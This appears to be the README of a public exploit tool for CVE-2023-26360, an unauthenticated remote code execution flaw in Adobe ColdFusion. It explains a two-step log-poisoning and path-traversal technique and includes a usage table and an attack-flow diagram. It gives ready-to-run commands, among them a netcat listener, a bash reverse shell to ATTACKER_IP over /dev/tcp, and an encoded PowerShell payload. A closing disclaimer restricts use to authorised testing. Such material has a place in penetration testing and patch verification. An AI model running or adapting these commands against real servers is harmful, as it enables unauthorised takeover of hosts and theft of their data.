joaoaugustom/adobe_coldfusion_rce_unauthenticatedThis exploit is based on CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) and was built on top of the Metasploit module and the jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit.
Python implementation of the remote code execution exploit for CVE-2023-26360, based on analysis of the original Metasploit module and the prior work by jakabakos.
The jakabakos PoC attempts to inject <cfexecute> directly into the _variables parameter and read the output from the ColdFusion log in a single step. This approach fails because ColdFusion does not evaluate CFML tags inline in that context, resulting in a 500 error with no code execution.
This implementation replicates the correct two-step mechanism used by the Metasploit module:
_variables payload ({<cftry>CFML</cftry>) to the vulnerable CFC endpoint. ColdFusion fails to parse it and writes the raw content — including the CFML code — into .coldfusion-out.logCommand execution is performed via java.lang.Runtime.exec() through createObject, avoiding any dependency on <cfexecute>, which is typically disabled in hardened or production deployments.
pip install -r requirements.txt
Start a listener before running the exploit:
nc -lvnp 4444
Windows target:
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
Linux target:
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Through a proxy (e.g. Burp Suite):
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
| Flag | Description |
|---|---|
--host | Target base URL (e.g. http://192.168.1.10:8500) |
--cmd | Command to execute on the target |
--win | Set this flag if the target is a Windows host |
--proxy | Optional HTTP proxy URL |
┌─────────────┐ Step 1: plant CFML ┌──────────────────┐
│ Attacker │ ──── POST /_variables={<cftry>... ──► iedit.cfc │
│ │ CF fails to parse, logs CFML │ │
│ │ │ coldfusion- │
│ │ Step 2: trigger execution │ out.log │
│ │ ──── POST classname=X..\logs\cf... ──► (loaded as │
│ │ │ CFML template) │
│ Listener │ ◄─────────────── reverse shell ───────│ │
└─────────────┘ └──────────────────┘
This tool is provided for educational purposes and authorized security assessments only (penetration tests, CTFs, lab environments). Running this exploit against systems without explicit written permission is illegal. The author assumes no liability for any misuse.